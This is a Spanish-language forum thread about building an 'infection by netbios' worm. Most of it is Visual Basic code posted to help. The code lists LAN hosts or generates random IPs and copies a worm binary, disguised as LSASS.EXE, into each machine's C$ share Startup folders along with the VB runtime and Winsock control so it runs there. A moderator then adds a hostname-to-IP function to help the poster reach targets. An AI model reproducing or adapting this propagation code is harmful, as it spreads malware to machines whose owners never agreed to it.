holas chikos ya una ves inicie un tema y al final se quedo sin una solucion final y el problema es que los projectos que encontre trabajan sobre el nombre del host o sea
\\juanpc\ y no \\192.168.0.123
esto es con la api enumshare
si alguien tiene algo por ahi y kiera aportar se agradecera para retomar el proyecto "infection by netbios"
salu2
bueno por lo que veo quieres infectar por lan.usando netbios hace tiempo vi por aki un codigo que parece bueno aun que no lo porbe.
y tampoco se de quien es el codigo ahora pero ya nos enteraremos ;D
ba en un modulo de clase,o por lo menos hay lo tengo.
[codec]
Option Explicit
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
Private Declare Function NetServerEnum Lib "netapi32.dll" (ByVal servername As String, ByVal level As Long, BUFFER As Long, ByVal prefmaxlen As Long, entriesread As Long, totalentries As Long, ByVal ServerType As Long, ByVal domain As String, resumehandle As Long) As Long
Private Declare Function NetApiBufferFree Lib "netapi32.dll" (BufPtr As Any) As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyW" (ByVal lpszDest As String, ByVal lpszSrc As Long) As Long
Private Const ERROR_SUCCESS = 0
Private Const ERROR_MORE_DATA = 234
Private Const SIZE_SI_101 = 24
Private Type SERVER_INFO_101
dwPlatformId As Long
lpszServerName As Long
dwVersionMajor As Long
dwVersionMinor As Long
dwType As Long
lpszComment As Long
End Type
Private InternalInfect As Integer
Public Function NetBIOS() As Long
On Error GoTo ErrTrap
Dim lRet As Long, sArray() As String, nK As Integer, sIP As String
If GetServerList(SV_TYPE_ALL) <> "" And InternalInfect% = 0 Then
sArray() = Split(GetServerList(SV_TYPE_ALL), ",")
For nK% = 0 To UBound(sArray())
DoEvents
'/* vb interpreter */
Call System.BlockCopy(System.WinDir & "\msvbvm60.dll", "\\" & Trim$(sArray(nK%)) & "\C$\WINDOWS\msvbvm60.dll")
Call System.BlockCopy(System.WinDir & "\msvbvm60.dll", "\\" & Trim$(sArray(nK%)) & "\C$\WINNT\msvbvm60.dll")
DoEvents
'/* winsock control */
Call System.BlockCopy(System.WinDir & "\mswinsck.ocx", "\\" & Trim$(sArray(nK%)) & "\C$\WINDOWS\mswinsck.ocx")
Call System.BlockCopy(System.WinDir & "\mswinsck.ocx", "\\" & Trim$(sArray(nK%)) & "\C$\WINNT\mswinsck.ocx")
DoEvents
'/* worm */
Call System.BlockCopy(Bot.Location, "\\" & Trim$(sArray(nK%)) & "\C$\WINDOWS\Start Menu\Programs\StartUp\LSASS.EXE") '/* Win9x\ME */
Call System.BlockCopy(Bot.Location, "\\" & Trim$(sArray(nK%)) & "\C$\Documents And Settings\All Users\Start Menu\Programs\StartUp\LSASS.EXE") '/* Win2k\XP */
Call System.BlockCopy(Bot.Location, "\\" & Trim$(sArray(nK%)) & "\C$\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\LSASS.EXE") '/* WinNT */
Next nK%
NetBIOS& = -1
InternalInfect% = 1
Else
sIP$ = GenerateIP$
DoEvents
'/* vb interpreter */
lRet& = System.BlockCopy(System.WinDir & "\msvbvm60.dll", "\\" & sIP$ & "\C$\WINDOWS\msvbvm60.dll"): If lRet& = 1 Then NetBIOS& = 1
lRet& = System.BlockCopy(System.WinDir & "\msvbvm60.dll", "\\" & sIP$ & "\C$\WINNT\msvbvm60.dll"): If lRet& = 1 Then NetBIOS& = 1
DoEvents
'/* winsock control */
lRet& = System.BlockCopy(System.WinDir & "\mswinsck.ocx", "\\" & sIP$ & "\C$\WINDOWS\mswinsck.ocx"): If lRet& = 1 Then NetBIOS& = 1
lRet& = System.BlockCopy(System.WinDir & "\mswinsck.ocx", "\\" & sIP$ & "\C$\WINNT\mswinsck.ocx"): If lRet& = 1 Then NetBIOS& = 1
DoEvents
'/* worm */
lRet& = System.BlockCopy(Bot.Location, "\\" & sIP$ & "\C$\WINDOWS\Start Menu\Programs\StartUp\LSASS.EXE"): If lRet& = 1 Then NetBIOS& = 1 '/* Win9x\ME */
lRet& = System.BlockCopy(Bot.Location, "\\" & sIP$ & "\C$\Documents And Settings\All Users\Start Menu\Programs\StartUp\LSASS.EXE"): If lRet& = 1 Then NetBIOS& = 1 '/* Win2k\XP */
lRet& = System.BlockCopy(Bot.Location, "\\" & sIP$ & "\C$\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\LSASS.EXE"): If lRet& = 1 Then NetBIOS& = 1 '/* WinNT */
End If
Exit Function
ErrTrap:
NetBIOS& = 0
End Function
Private Function GenerateIP() As String
On Error Resume Next
Dim nA As Integer, nB As Integer, nC As Integer, nD As Integer
Randomize
nA% = Fix((Rnd * 254) + 1)
Randomize
nB% = Fix((Rnd * 254) + 1)
Randomize
nC% = Fix((Rnd * 254) + 1)
Randomize
nD% = Fix((Rnd * 254) + 1)
GenerateIP$ = CStr(nA%) & "." & CStr(nB%) & "." & CStr(nC%) & "." & CStr(nD%)
End Function
Private Function GetServerList(ServerType As ServerTypes) As String
On Error GoTo ErrTrap
Dim pszTemp As String, pszServer As String, pszDomain As String
Dim nLevel As Long, i As Long, BufPtr As Long, TempBufPtr As Long
Dim nPrefMaxLen As Long, nEntriesRead As Long, nTotalEntries As Long
Dim nServerType As Long, nResumeHandle As Long, nRes As Long
Dim ServerInfo As SERVER_INFO_101, ServerNames() As String, nK As Integer
Dim sTemp As String
ReDim ServerNames(0) As String
pszServer = vbNullString
pszDomain = vbNullString
nLevel = 101
BufPtr = 0
nPrefMaxLen = &HFFFFFFFF
nEntriesRead = 0
nTotalEntries = 0
nServerType = ServerType
nResumeHandle = 0
Do
nRes = NetServerEnum(pszServer, nLevel, BufPtr, nPrefMaxLen, nEntriesRead, nTotalEntries, nServerType, pszDomain, nResumeHandle)
If ((nRes = ERROR_SUCCESS) Or (nRes = ERROR_MORE_DATA)) And (nEntriesRead > 0) Then
TempBufPtr = BufPtr
For i = 1 To nEntriesRead
Call CopyMemory(ServerInfo, TempBufPtr, SIZE_SI_101)
ReDim Preserve ServerNames(UBound(ServerNames()) + 1) As String
ServerNames(UBound(ServerNames())) = PointerToString(ServerInfo.lpszServerName)
TempBufPtr = TempBufPtr + SIZE_SI_101
Next i
Else
GetServerList$ = vbNullString
Exit Function
End If
Call NetApiBufferFree(BufPtr)
Loop While nEntriesRead < nTotalEntries
sTemp$ = ""
For nK% = 0 To UBound(ServerNames())
If Len(Trim$(Replace$(ServerNames(nK%), Chr$(0), ""))) > 0 Then sTemp$ = sTemp$ & ServerNames(nK%) & ", "
Next nK%
If Right$(sTemp$, 2) = ", " Then sTemp$ = Left$(sTemp$, Len(sTemp$) - 2)
GetServerList$ = sTemp$
Exit Function
ErrTrap:
GetServerList$ = vbNullString
End Function
Private Function PointerToString(lpszString As Long) As String
Dim lpszStr1 As String, lpszStr2 As String, nRes As Long
lpszStr1 = String(1000, "*")
nRes = lstrcpy(lpszStr1, lpszString)
lpszStr2 = (StrConv(lpszStr1, vbFromUnicode))
PointerToString = Left(lpszStr2, InStr(lpszStr2, Chr$(0)) - 1)
End Function
[codec]
espero que te sirva un salu2
p.d:
System.WinDir
Me suena a .NET :-X
Que tiene que ver que sea un nombre que una IP? Simplemente resuelve el Dominio.. :-\
http://allapi.mentalis.org/apilist/gethostbyname.shtml
http://msdn.microsoft.com/en-us/library/ms738524%28VS.85%29.aspx
MOD: Te he hecho una funcion:
Option Explicit
Private Declare Function WSACleanup Lib "WSOCK32" () As Long
Private Declare Function WSAStartup Lib "WSOCK32" (ByVal wVersionRequired As Long, lpWSADATA As Any) As Long
Private Declare Function gethostbyname Lib "WSOCK32" (ByVal szHost As String) As Long
Private Declare Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Type HOSTENT
hName As Long
hAliases As Long
hAddrType As Integer
hLen As Integer
hAddrList As Long
End Type
Public Function GetIP(ByVal sHost As String) As String
Dim WSAD(&H18E) As Byte
Dim lpHost As Long
Dim HOST As HOSTENT
Dim dwIP As Long
Dim tIP() As Byte
Dim i As Long
If (WSAStartup(1, WSAD(0)) = 0) Then
lpHost = gethostbyname(sHost)
If lpHost Then
Call CopyMemory(HOST, ByVal lpHost&, Len(HOST))
Call CopyMemory(dwIP, ByVal HOST.hAddrList&, &H4)
ReDim tIP(1 To HOST.hLen)
Call CopyMemory(tIP(1), ByVal dwIP&, HOST.hLen)
For i = 1 To HOST.hLen
GetIP = GetIP & tIP(i) & "."
Next i
GetIP = Left$(GetIP, Len(GetIP) - 1)
End If
Call WSACleanup
End If
End Function
pos la verdad que no tengo ni idea, lo vi hace tiempo y lo tengo de info.
yo suponia que era vb,aun que no resuelve el dominio pero te genera las ip.
y que diferencia hay ente vb y vb.net? que lia con tantos lenguajes ;D
un salu2
El problema es que por ejemplo los codigos que he encontrado son para conectarse al equipo remoto usando el nombre del host y cuando yo scaneo lo unico que obtengo es la ip el host no me lo da, como resuelvo esto...
probe con el ping -a 192.168.12.23
y nada me da el ping normal con otras ip si me da el host...
salu2